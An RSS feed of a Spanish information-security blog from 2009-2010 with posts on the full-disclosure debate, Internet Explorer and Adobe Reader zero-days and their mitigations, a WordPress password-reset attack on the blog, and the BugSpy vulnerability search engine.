<?xml version="1.0" encoding="ISO-8859-15"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sergio Hernando &#187; Vulnerabilidades</title>
	<atom:link href="http://www.sahw.com/wp/archivos/tag/vulnerabilidades/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sahw.com/wp</link>
	<description>Seguridad de la Información y Auditoría de Sistemas</description>
	<lastBuildDate>Thu, 29 Jul 2010 17:42:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Full disclosure. ¿Sí o no?</title>
		<link>http://www.sahw.com/wp/archivos/2010/06/11/full-disclosure-si-o-no/</link>
		<comments>http://www.sahw.com/wp/archivos/2010/06/11/full-disclosure-si-o-no/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 21:43:59 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Full disclosure]]></category>
		<category><![CDATA[Tavis Ormandy]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=6184</guid>
		<description><![CDATA[Hola, Uno de los debates más longevos en el mundo de la seguridad es aquel que dirime si las vulnerabilidades deben ser publicadas con todo lujo de detalles sin contar con los fabricantes, o si por el contrario los problemas deben resueltos colaborando en privado con los afectados sin que trascienda ningún tipo de detalle [...]]]></description>
			<content:encoded><![CDATA[<p>Hola,</p>
<p>Uno de los debates más longevos en el mundo de la seguridad es aquel que dirime si las vulnerabilidades deben ser publicadas con todo lujo de detalles sin contar con los fabricantes, o si por el contrario los problemas deben resueltos colaborando en privado con los afectados sin que trascienda ningún tipo de detalle hasta que las medidas correctoras estén disponibles. </p>
<p>Esta misma semana Tavis Ormandy <a href="http://seclists.org/fulldisclosure/2010/Jun/205">lanzó a la lista de Full Disclosure</a> detalles de un problema de seguridad en el centro de ayuda de Microsoft Windows en el que se describe con todo lujo de detalles el procesado incorrecto de secuencias de escape malformadas en el componente afectado, lo que a la postre puede facilitar el compromiso de sistemas Windows en una gama tan amplia que se inicia en XP Home Edition y que acaba en Microsoft Windows Server 2003 Datacenter Edition. Poco tiempo después Microsoft respondió al anuncio de Ormandy con un artículo publicado en <a href="http://blogs.technet.com/b/msrc/archive/2010/06/10/windows-help-vulnerability-disclosure.aspx">su centro de respuesta ante incidentes</a>, en el que la compañía se queja del escaso tiempo que Ormandy les ha dado para resolver el problema (apenas 4 días) lo que, en opinión de Microsoft, incrementa el riesgo de ataques y coloca en situación de riesgo a sus clientes. </p>
<p>Microsoft tiene todo el derecho del mundo a pensar que cuatro días no son suficientes y a posicionarse en contra del <em><a href="http://en.wikipedia.org/wiki/Full_disclosure">full disclosure</a></em>, como ha hecho en su artículo. También cualquier lector tiene el derecho a pensar que Microsoft comete un error importante al hablar constantemente de <em>un investigador de Google</em>, cuando Ormandy ha realizado el aviso a título particular y no representando a su empleador, como también Ormandy tiene libertad para escoger los plazos y los métodos para avisar de sus descubrimientos. Es precisamente esta rica libertad de opinión y manobra lo que hace que la resolución de problemas de seguridad sea un campo en el que nunca llueve a gusto de todos.</p>
<p>Esta no es ni será la única vez en la que veremos en lo alto del tapete un debate sobre la conveniencia del <em>full disclosure</em>. La razón subyacente es la dispersión de opinión y su enorme variabilidad, desde claramente posicionada en los extremos hasta alineada con las múltiples posiciones intermedias de la enorme amalgama de opinión existente entre la desaprobación y el apoyo incondicional a la liberación pública y detallada de los problemas de seguridad.</p>
<p>En lo que a mí respecta quizás me encuentre en una posición intermedia, aquella que defiende la liberación controlada de vulnerabilidades resueltas con el fabricante siempre y cuando el fabricante responda de una manera continuada en el tiempo en tiempo y forma, sin demorar innecesariamente la resolución de los problemas. Para estos casos es posible que la única manera de espolear el proceso de resolución sea lanzar las vulnerabilidades al público, por mal que le pese al fabricante afectado, entendiendo como errónea la visión en la que el <em>full disclosure</em> sólo implica la puesta en riesgo de los clientes, ya que el conocimiento público de los problemas provoca habitualmente la comunicación pública de medidas de mitigación que de otro modo no serían conocidas por los clientes hasta que los problemas hayan sido resueltos, pero que sí podrían estar siendo aprovechados por los atacantes que hayan logrado conocer los detalles durante el proceso de resolución, o incluso anteriormente.</p>
<p>Independientemente de mis preferencias, que no dejan de ser estrictamente personales, comprendo y respeto otras posiciones, y no dejo de pensar que la existencia de opiniones contrapuestas es una constante en cualquier campo de actividad profesional que debemos aprovechar para enriquecer nuestro conocimiento fomentado los debates sanos y productivos.</p>
<p>Un saludo,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2010/06/11/full-disclosure-si-o-no/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Más problemas para Internet Explorer: Dos nuevas vulnerabilidades permiten la obtención remota de ficheros del sistema</title>
		<link>http://www.sahw.com/wp/archivos/2010/02/04/mas-problemas-para-internet-explorer-dos-nuevas-vulnerabilidades-permiten-la-obtencion-remota-de-ficheros-del-sistema/</link>
		<comments>http://www.sahw.com/wp/archivos/2010/02/04/mas-problemas-para-internet-explorer-dos-nuevas-vulnerabilidades-permiten-la-obtencion-remota-de-ficheros-del-sistema/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 18:07:48 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Alertas]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=5724</guid>
		<description><![CDATA[Buenas, Definitivamente 2010 no ha empezado con buen pie para Internet Explorer. Si hace poco vivía un 0-day con importantes consecuencias para la seguridad, ahora tenemos en lo alto de la mesa un problema moderadamente crítico (definitivamente menos relevante que el anterior) que sin embargo vuelve a requerir por parte de los usuarios una atención [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas, </p>
<p>Definitivamente 2010 no ha empezado con buen pie para Internet Explorer. Si hace poco vivía un 0-day con importantes consecuencias para la seguridad, ahora tenemos en lo alto de la mesa un problema moderadamente crítico (definitivamente menos relevante que el anterior) que sin embargo vuelve a requerir por parte de los usuarios una atención especial.</p>
<p>Los amigos de Core Security descubrieron tiempo atrás un par de problemas (uno tiene que ver con la etiqueta de objetos dinamicos y el otro con URLMON) <a href="http://www.coresecurity.com/content/internet-explorer-dynamic-object-tag">que ahora han hecho públicos</a>, mediante los cuales un atacante podría extraer información sensible almacenada en ficheros locales de un sistema Windows siempre y cuando el usuario emplease una versión vulnerable y visitase una página especialmente conformada. No se necesita intervención alguna del usuario mas allá de visitar la pagina maliciosa, si bien este problema no permite (afortunadamente) comprometer el sistema en su totalidad como ocurriera con el <em>exploit</em> Aurora. </p>
<p>Quizás sea reseñable indicar que estas vulnerabilidades son, en palabras de los descubridores, una variación de otros problemas descubiertos anteriormente por Core (CoreLabs Security Advisories CORE-2008-0103 y CORE-2008-0826), lo que quizás sirva para reavivar el eterno debate sobre si los parches que ofrecen los fabricantes solventan siempre los problemas de raíz o si por el contrario, son paños de agua caliente para salir del paso.</p>
<p>No hay parche disponible para estas vulnerabilidades y Microsoft <a href="http://blogs.technet.com/msrc/archive/2010/02/03/security-advisory-980088-released.aspx">ha documentado el correspondiente Security Advisory</a> en el que se comentan los posibles medidas de mitigación y donde la compañia deja entrever que no descarta publicar un parche fuera de ciclo (<em>out-of-band</em>) al respecto.</p>
<p><strong>¿Es mi versión de Internet Explorer vulnerable?</strong></p>
<p>De acuerdo a la información liberada por los descubridores, la relación de versiones vulnerable es la que sigue:</p>
<ul>
<li>Internet Explorer 5.01 SP4 corriendo en Windows 2000 SP4</li>
<li>Internet Explorer 6 SP1 corriendo en Windows 2000 SP4</li>
<li>Internet Explorer 6 SP2 corriendo en Windows XP SP2</li>
<li>Internet Explorer 6 SP2 corriendo en Windows XP SP3</li>
<li>Internet Explorer 7 corriendo en Windows XP SP2</li>
<li>Internet Explorer 7 corriendo en Windows XP SP3</li>
<li>Internet Explorer 7 corriendo en Windows Vista SP1</li>
<li>Internet Explorer 7 corriendo en Windows Vista SP2</li>
<li>Internet Explorer 7 corriendo en Windows Server 2003 SP2 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad</li>
<li>Internet Explorer 7 corriendo en Windows Server 2008 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad</li>
<li>Internet Explorer 8 corriendo en Windows XP SP2</li>
<li>Internet Explorer 8 corriendo en Windows XP SP3</li>
<li>Internet Explorer 8 corriendo en Windows Vista SP1 si el modo protegido está desactivado</li>
<li>Internet Explorer 8 corriendo en Windows Vista SP2 si el modo protegido está desactivado</li>
<li>Internet Explorer 8 corriendo en Windows 7 si el modo protegido está desactivado</li>
<li>Internet Explorer 8 corriendo en Windows Server 2003 SP2 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad</li>
<li>Internet Explorer 8 corriendo en Windows Server 2008 R2 si el modo protegido está desactivado y no se usa la configuración mejorada de seguridad</li>
</ul>
<p><strong>No son vulnerables las siguientes configuraciones:</strong></p>
<ul>
<li>Internet Explorer 7 corriendo en Windows Vista, Windows Server 2003 o Windows 7 si el modo protegido está activado</li>
<li>Internet Explorer 8 corriendo en Windows Vista o Windows Server 2003 si el modo protegido está activado</li>
<li>Internet Explorer 8 corriendo en Windows Server 2003 si el modo protegido está activado</li>
<li>Internet Explorer 8 corriendo en Windows 7 o Windows Server 2008 R2 si el modo protegido está activado</li>
</ul>
<p><strong>Lo que debes hacer si usas Internet Explorer</strong></p>
<p>Lo primero es leete el Microsoft Security Advisory (980088): <a href="http://www.microsoft.com/technet/security/advisory/980088.mspx">http://www.microsoft.com/technet/security/advisory/980088.mspx</a>.</p>
<p>Una vez te lo hayas leído puedes aplicar alguna de las siguientes acciones de mitigación (no es necesario ejecutarlas todas)</p>
<ol>
<li>Asegúrate de ejecutar Internet Explorer con el modo protegido activado, si es que tu sistema operativo lo permite y si entiendes las limitaciones que se pueden producir al usarlo (<a href="http://blogs.msdn.com/ie/archive/2007/04/04/protected-mode-for-ie7-in-windows-vista-is-it-on-or-off.aspx">http://blogs.msdn.com/ie/archive/2007/04/04/protected-mode-for-ie7-in-windows-vista-is-it-on-or-off.aspx</a>). Como probablemente te suene a chino esto del modo protegido, puedes documentarte en <a href="http://msdn.microsoft.com/en-us/library/bb250462(VS.85).aspx">http://msdn.microsoft.com/en-us/library/bb250462(VS.85).aspx</a>. Este modo viene activado por defecto en la zona de seguridad de Internet sólo en Windows Vista, Windows 7 y Windows Server 2008.</li>
<li>Emplea la funcionalidad <em>Network Protocol Lockdown</em> del navegador. Puedes activarlo y desactivarlo en <a href="http://support.microsoft.com/kb/980088">http://support.microsoft.com/kb/980088</a>.</li>
<li>En la configuración por zonas, establece el nivel de seguridad tanto para Internet como Intranet en ALTO, con lo que se impedirá la ejecucion de scripts y controles ActiveX. Nótese que esto puede tener implicaciones en ciertas aplicaciones Web que usen estos componentes.</li>
<li>Desactiva el <em>scripting</em> activo para las zonas Internet e Intranet Local manualmente, estableciendo una configuración de las mismas de tipo personalizado.</li>
</ol>
<p>Si por alguna razón no comprendes el trasfondo de estas posibles soluciones (lo cual no me extrañaría lo más mínimo) o si tienes dudas sobre su utilización, lo más sensato, hasta que se publique un parche, es no usar Internet Explorer a la hora de visitar páginas que no sean de nuestra más exclusiva confianza. Un navegador alternativo es recomendable en estos casos.</p>
<p>Un saludo,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2010/02/04/mas-problemas-para-internet-explorer-dos-nuevas-vulnerabilidades-permiten-la-obtencion-remota-de-ficheros-del-sistema/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Sobre la última vulnerabilidad de Internet Explorer: consejos prácticos para usuarios</title>
		<link>http://www.sahw.com/wp/archivos/2010/01/16/sobre-la-ultima-vulnerabilidad-de-internet-explorer-consejos-practicos-para-usuarios/</link>
		<comments>http://www.sahw.com/wp/archivos/2010/01/16/sobre-la-ultima-vulnerabilidad-de-internet-explorer-consejos-practicos-para-usuarios/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 19:49:01 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Alertas]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[Zero day]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=5579</guid>
		<description><![CDATA[Buenas, Lo que comenzó siendo un affaire entre Google y China va tomando dimensiones cada vez más relevantes. Aunque aparentemente sólo Google y Adobe Systems han confirmado oficialmente haber sufrido ataques especialmente dirigidos al robo de propiedad intelectual, la lista de empresas notorias afectadas parece contener otros selectos miembros entre los que se se podrían [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas,</p>
<p>Lo que comenzó siendo <a href="http://googleblog.blogspot.com/2010/01/new-approach-to-china.html">un <em>affaire</em> entre Google y China</a> va tomando dimensiones cada vez más relevantes. Aunque aparentemente sólo Google y Adobe Systems han confirmado oficialmente haber sufrido ataques especialmente dirigidos al robo de propiedad intelectual, la lista de empresas notorias afectadas parece contener otros selectos miembros entre los que se se podrían encontrar Symantec, Yahoo! y Dow Chemical, entre un total de 34 organizaciones.</p>
<p>Entre tanto, los responsables del producto <a href="http://www.microsoft.com/technet/security/advisory/979352.mspx">siguen sin tener claro cómo atajar el problema</a>, motivo por el que empiezan a oirse voces relevantes, como la del propio Gobierno alemán, que dice lo que nadie se atreve a decir: en estos precisos momentos, el <a href="http://www.businessweek.com/news/2010-01-16/germany-says-don-t-use-explorer-until-microsoft-patches-flaw.html">consejo a dar a los usuarios de Internet Explorer es dejar de usarlo</a> hasta que las condiciones de seguridad estén mínimamente garantizadas para los usuarios. </p>
<p>Para poner las cosas todavía más difíciles, apuntan en ISC SANS que <a href="http://isc.sans.org/diary.html?storyid=8002">el código ha sido finalmente publicado</a>, y que el origen del problema es una vulnerabilidad en <em>mshtml.dll</em>, componente del navegador encargado de renderizar las páginas en Internet Explorer. Este código malicioso funciona plenamente en Internet Explorer 6, pero que en caso de tener <em>Data Execution Protection</em> (DEP) activado para el navegador, parece que el <em>exploit</em> no ejecuta código en las versiones 7 y 8. </p>
<p>Como es habitual una vez que un <em>exploit</em> es liberado públicamente, ha faltado poco para que los chicos de Metasploit <a href="http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html">incluyan el código en sus herramientas</a> para que los responsables de seguridad puedan evaluar en cada caso particular si sus sistemas están afectados. </p>
<p><strong>Consejos prácticos para usuarios</strong></p>
<p>Orientativamente, porque siempre puede haber despliegues en los que DEP esté descativado para Internet Explorer, este modelo de protección fue introducido en Windows XP Service Pack 2, aunque desde estas líneas invito a los lectores a usar Metasploit para verificar su estado de vulnerabilidad. Aquellos que no tengan el conocimiento suficiente, deberían intentar consultar <a href="http://blogs.technet.com/srd/archive/2010/01/15/assessing-risk-of-ie-0day-vulnerability.aspx">la tabla ofrecida por el fabricante</a>, en la que se consideran vulnerables las combinaciones Windows 2000 y Windows XP con Internet Explorer 6, y potencialmente vulnerables las instalaciones de Windows XP e Internet Explorer 7. </p>
<p>De todos modos, todo lo anterior está condicionado a que DEP para Internet Explorer esté activado, y eso sólo ocurre por defecto en Internet Explorer 8 que corran bajo XP Service Pack 3, Windows Vista Service Pack 1 y superiores, así como en Windows 7. A modo de resumen, toma nota de las siguientes recomendaciones:</p>
<ul>
<li>Si careces de conocimiento técnico suficiente o tienes dudas, no utilices Internet Explorer. Haz uso de un navegador alternativo hasta que el fabricante distribuya un parche para su problema. Deberías recibir un aviso de la disponibilidad del parche en las actalizaciones de Windows (las cuales espero tengas activadas en modo automático). ¿Cuándo sucederá esto? No lo sé, como muy tarde, debería distribuirse el parche antes del próximo 12 de febrero, en el ciclo de actualizaciones mensual de Microsoft, aunque no es descartable que la solución esté disponible antes.</li>
<li>Si tienes conocimiento suficiente y quieres/necesitas Internet Explorer, <a href="http://go.microsoft.com/?linkid=9668626">habilita DEP para el navegador</a>, y <a href="http://www.microsoft.com/technet/security/advisory/979352.mspx">deshabilita el soporte para JavaScript en Internet Explorer</a> (advertencia, esto tiene un impacto elevado en el funcionamiento de la mayoría de los sitios). Siempre que la compatibilidad con tus sitios Web y aplicaciones te lo permitan, trata de que el producto esté lo más actualizado posible, lo que significa especialmente alejarse de Internet Explorer 6.</li>
</ul>
<p>Señoras y señores: lo de Google <a href="http://siblog.mcafee.com/cto/google-attack-is-tip-of-iceberg/">es sólo la punta del iceberg</a>. El amigo George Kurz está haciendo <a href="http://twitter.com/george_kurtzCTO">un seguimiento en vivo en Twitter</a> más que recomendable al hilo de este enorme problema que puede tener implicaciones mucho más severas que las que hoy en día conocemos. </p>
<p>Un saludo, y no dejéis de comentar vuestras dudas.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2010/01/16/sobre-la-ultima-vulnerabilidad-de-internet-explorer-consejos-practicos-para-usuarios/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Exploits 0-day a la venta. Confirmado nuevo 0-day para Adobe Acrobat y Reader</title>
		<link>http://www.sahw.com/wp/archivos/2009/12/15/exploits-0-day-a-la-venta-confirmado-nuevo-0-day-para-adobe-acrobat-y-reader/</link>
		<comments>http://www.sahw.com/wp/archivos/2009/12/15/exploits-0-day-a-la-venta-confirmado-nuevo-0-day-para-adobe-acrobat-y-reader/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 18:20:48 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Adobe Reader]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=5302</guid>
		<description><![CDATA[Buenas, Comentar a estas alturas que los que los 0-day se venden no aporta novedad alguna. Encontrar vulnerabilidades y ponerlas a la venta posteriormente es un negocio lucrativo. Lo que quizás sea más novedoso es que de la venta underground, sigilosa donde las haya, hemos pasado a la venta a los cuatro vientos. En este [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas,</p>
<p>Comentar a estas alturas que los que los <a href="http://en.wikipedia.org/wiki/Zero_day_attack">0-day</a> se venden <a href="http://www.sahw.com/wp/archivos/2006/01/31/el-mercado-de-las-vulnerabilidades-0day/">no aporta novedad alguna</a>. Encontrar vulnerabilidades y ponerlas a la venta posteriormente es un negocio lucrativo.</p>
<p>Lo que quizás sea más novedoso es que de la venta <em>underground</em>, sigilosa donde las haya, hemos pasado a la venta a los cuatro vientos. En este caso, el presunto descubridor (que no ha aportado prueba alguna sobre el presunto 0-day, todo sea dicho) <a href="http://twitter.com/viciousf/status/6571083504">ha empleado Twitter</a> y <a href="http://seclists.org/fulldisclosure/2009/Dec/256">Full Disclosure</a> para anunciar la venta. Curioso cuando menos.</p>
<p>Por cierto, hablando de 0-day, los <em>amigos de lo ajeno</em> nos envían un año más su tradicional felicitación navideña. <a href="http://blogs.adobe.com/psirt/2009/12/new_adobe_reader_and_acrobat_v.html">Adobe confirmó ayer</a> que hay un nuevo <em>exploit</em> dando vueltas ahí­ fuera. <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324">No se sabe mucho del tema</a>, salvo que las muestras que se han visto tienen como objetivo <a href="http://www.adobe.com/devnet/acrobat/javascript.html">el motor JavaScript</a> de los productos Adobe, con lo que a la espera de parches puede resultar prudente desactivar el soporte JavaScript. Para ello, en el menú <em>Edición</em>, seleccionad la opción <em>Preferencias</em>, y dentro de las opciones JavaScript, desactivar la casilla <em>Activar JavaScript para Acrobat</em>. En lo que a mí respecta, podéis dejar la casilla desmarcada por los siglos de los siglos, a no ser que sea preciso tratar JavaScript en algún documento PDF que os envíen. Ante casos como el descrito (y en general, siempre) no es recomendable abrir documentos PDF inesperados o que no procedan de fuentes confiables, lo que incluye lo que recibamos por correo así como los PDF que encontremos navegando en Internet.</p>
<p>No hay parches disponibles, y tampoco hay información exacta del impacto y los vectores de ataque, pero siendo algo orientado a algo tan popular como Adobe no debemos esperar nada bueno. <a href="http://secunia.com/advisories/37690/">Secunia se decanta por la ejecución de código abitrario</a> y comenta que las versiones 9.2 y anteriores de Adobe Reader y Acrobat están afectadas. Cuidadito.</p>
<p>Un saludo,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2009/12/15/exploits-0-day-a-la-venta-confirmado-nuevo-0-day-para-adobe-acrobat-y-reader/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alerta: Nuevo zero-day en Internet Explorer permite la contaminación remota de equipos con tan sólo visitar páginas Web</title>
		<link>http://www.sahw.com/wp/archivos/2009/11/23/alerta-nuevo-zero-day-en-internet-explorer-permite-la-contaminacion-remota-de-equipos-con-tan-solo-visitar-paginas-web/</link>
		<comments>http://www.sahw.com/wp/archivos/2009/11/23/alerta-nuevo-zero-day-en-internet-explorer-permite-la-contaminacion-remota-de-equipos-con-tan-solo-visitar-paginas-web/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 17:39:37 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Alertas]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[Zero day]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=5176</guid>
		<description><![CDATA[Buenas, Un amigo me ha pasado un enlace relacionado con Internet Explorer que promete traer cola en los próximos días. El código de este zero-day se publicó el pasado viernes en Bugtraq. Symantec ha realizado un pequeño análisis y ha confirmado la validez del mismo, recordándonos a todos que una vez que el exploit ha [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas,</p>
<p><a href="http://www.masterblanker.com">Un amigo</a> me ha pasado <a href="http://www.networkworld.com/news/2009/112209-new-attack-fells-internet.html">un enlace</a> relacionado con Internet Explorer que promete traer cola en los próximos días.</p>
<p>El código de este <em>zero-day</em> <a href="http://seclists.org/bugtraq/2009/Nov/148">se publicó el pasado viernes en Bugtraq</a>. <a href="http://www.symantec.com/connect/blogs/zero-day-internet-explorer-exploit-published">Symantec ha realizado un pequeño análisis</a> y ha confirmado la validez del mismo, recordándonos a todos que una vez que el <em>exploit</em> ha sido liberado es sólo cuestión de tiempo que se refine y empiece a ser usado de una manera intensiva por parte de los <em>amigos de lo ajeno</em>. No es descartable que la vulnerabilidad se haya estado utilizando antes de que haya visto la luz de una manera más privada, ya que es el típico caso que en los mercados se cotiza muy al alza, y por el que muchos desembolsan cantidades importantes de dinero para explotar alegremente el problema pasando totalmente inadvertidos.</p>
<p>Según la información publicada, que tampoco es que sea precisamente abundante, el <em>exploit</em> afecta a las versiones 6 y 7 de Internet Explorer con JavaScript activado. Pese a ser versiones obsoletas del navegador, se estima que en torno al 40% de la cuota de mercado en cuanto a navegadores corresponde a las versiones citadas, con lo que existe mercado más que suficiente para que los ataques se repitan sistemáticamente. De todos es conocido también que gestionar y mantener el nivel de parche no es precisamente una virtud del público en general, con lo que este factor incrementará la rentabilidad y longevidad del problema.</p>
<p>Mediante este ataque los atacantes sólo tienen que insertar el <em>exploit</em> en páginas Web bajo su control y forzar al usuario a que visite los enlaces (algo secillo de conseguir), lo que permitiría infectar a los usuarios con el mero hecho de visitar los contenidos. Parece claro que esto será utilizado para contaminar los equipos con <em>malware</em> financiero, y en el mejor de los casos, por llamarlo de alguna manera, para integrar máquinas en <em>botnets</em>.</p>
<p>El problema parece residir en la manera en la que Interrnet Explorer procesa la información de las hojas de estilo CSS (<em>Cascading Style Sheets</em>). Hasta que el fabricante solucione el problema, lo cual debería suceder relativamente pronto y probablemente, dada la extrema gravedad del problema, fuera del ciclo mensual de actualizaciones, se recomienda a los usuarios de Internet Explorer que desactiven JavaScript y que no visiten sitios Web que no sean de la más estricta confianza. Habida cuenta que las casas trabajan ya en la elaboración de firmas específicas para este problema, es extremadamente importante mantener actualizados los antivirus.</p>
<p>Un saludo,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2009/11/23/alerta-nuevo-zero-day-en-internet-explorer-permite-la-contaminacion-remota-de-equipos-con-tan-solo-visitar-paginas-web/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>And the winner is &#8230; Colombia</title>
		<link>http://www.sahw.com/wp/archivos/2009/08/15/an-the-winner-is-colombia/</link>
		<comments>http://www.sahw.com/wp/archivos/2009/08/15/an-the-winner-is-colombia/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 19:22:39 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[sahw.com]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=4801</guid>
		<description><![CDATA[Hola, Como muchos sabéis, el otro día apareció un fallo en WordPress que permitía, por un error de diseño, resetear la clave de administración de manera remota, y sin ser administrador. Este blog, al pertenercer a la rama 2.8, era vulnerable. Aunque sigue sin estar actualizado, está parcheado. Pero antes de lanzar el parche, alguien [...]]]></description>
			<content:encoded><![CDATA[<p>Hola, </p>
<p>Como muchos sabéis, <a href="http://seclists.org/fulldisclosure/2009/Aug/0113.html">el otro día apareció un fallo en WordPress</a> que permitía, por un error de diseño, resetear la clave de administración de manera remota, y sin ser administrador. </p>
<p>Este blog, al pertenercer a la rama 2.8, era vulnerable. Aunque sigue sin estar actualizado, <a href="http://core.trac.wordpress.org/changeset/11798">está parcheado</a>. Pero antes de lanzar el parche, alguien reseteó la contraseña con éxito aprovechando la vulnerabilidad.</p>
<p><img src="http://www.sahw.com/images/wordpress/ataque_admin_wordpress.jpg" alt="ataque wordpress" /></p>
<p>El trazo de la IP nos lleva a Tulúa, Colombia. Es una IP privada que no aparece en listados de proxies, con lo que a buen seguro, es un usuario corriente y moliente que tiene una conexión contratada con Telefónica de Colombia (<a href="http://www.telecom.com.co/">Telecom</a>) </p>
<p>En fin, nada serio, algo anecdótico, pero en este mundo todos estamos expuestos, y en todas partes cuecen habas :)</p>
<p>Un saludo, y buen fin de semana para todos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2009/08/15/an-the-winner-is-colombia/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>BugSpy. Un buscador de vulnerabilidades de productos de código abierto</title>
		<link>http://www.sahw.com/wp/archivos/2009/05/22/bugspy-un-buscador-de-vulnerabilidades-de-productos-de-codigo-abierto/</link>
		<comments>http://www.sahw.com/wp/archivos/2009/05/22/bugspy-un-buscador-de-vulnerabilidades-de-productos-de-codigo-abierto/#comments</comments>
		<pubDate>Fri, 22 May 2009 11:36:50 +0000</pubDate>
		<dc:creator>Sergio Hernando</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[BugSpy]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sahw.com/wp/?p=4296</guid>
		<description><![CDATA[Buenas, Desde hace algún tiempo existe una herramienta específicamente diseñada para los ciclos de gestión de cambios. Se llama BugSpy, y la idea es bien simple: este buscador agrega contenidos de la Web, pero con una particularidad: sólo agrega contenidos de seguridad, y concretamente, vulnerabilidades publicadas en productos de código abierto. BugSpy tiene como objetivo [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas,</p>
<p>Desde hace algún tiempo existe una herramienta específicamente diseñada para los ciclos de gestión de cambios. Se llama <a href="http://bugspy.net/">BugSpy</a>, y la idea es bien simple: este buscador agrega contenidos de la Web, pero con una particularidad: sólo agrega contenidos de seguridad, y concretamente, vulnerabilidades publicadas en productos de código abierto.</p>
<p><img src="http://bugspy.net/site_media/images/logo.png" alt="bugspy logo" /></p>
<p>BugSpy tiene como objetivo ofrecer información únicamente de problemas de seguridad relevantes y que no estén solucionados. No obstante, debido a la actualización constante de las fuentes y por el propio desenvolvimiento de la seguridad en el campo del <em>open source</em>, el estado de los <em>bugs</em> puede ser muy variable, con lo que siempre es recomendarse apoyarse en otros sitios de confianza, incluyendo los de los fabricantes.</p>
<p>Además del buscador de vulnerabilidades, BugSpy ofrece servicios gratuitos como <a href="http://bugspy.net/charts">estadísticas y gráficas</a>, <a href="http://bugspy.net/product/security-alerts/">alertas de seguridad</a> y filtros específicos para <a href="http://bugspy.net/exposer">deficiencias de seguridad susceptibles de ser explotadas</a>.</p>
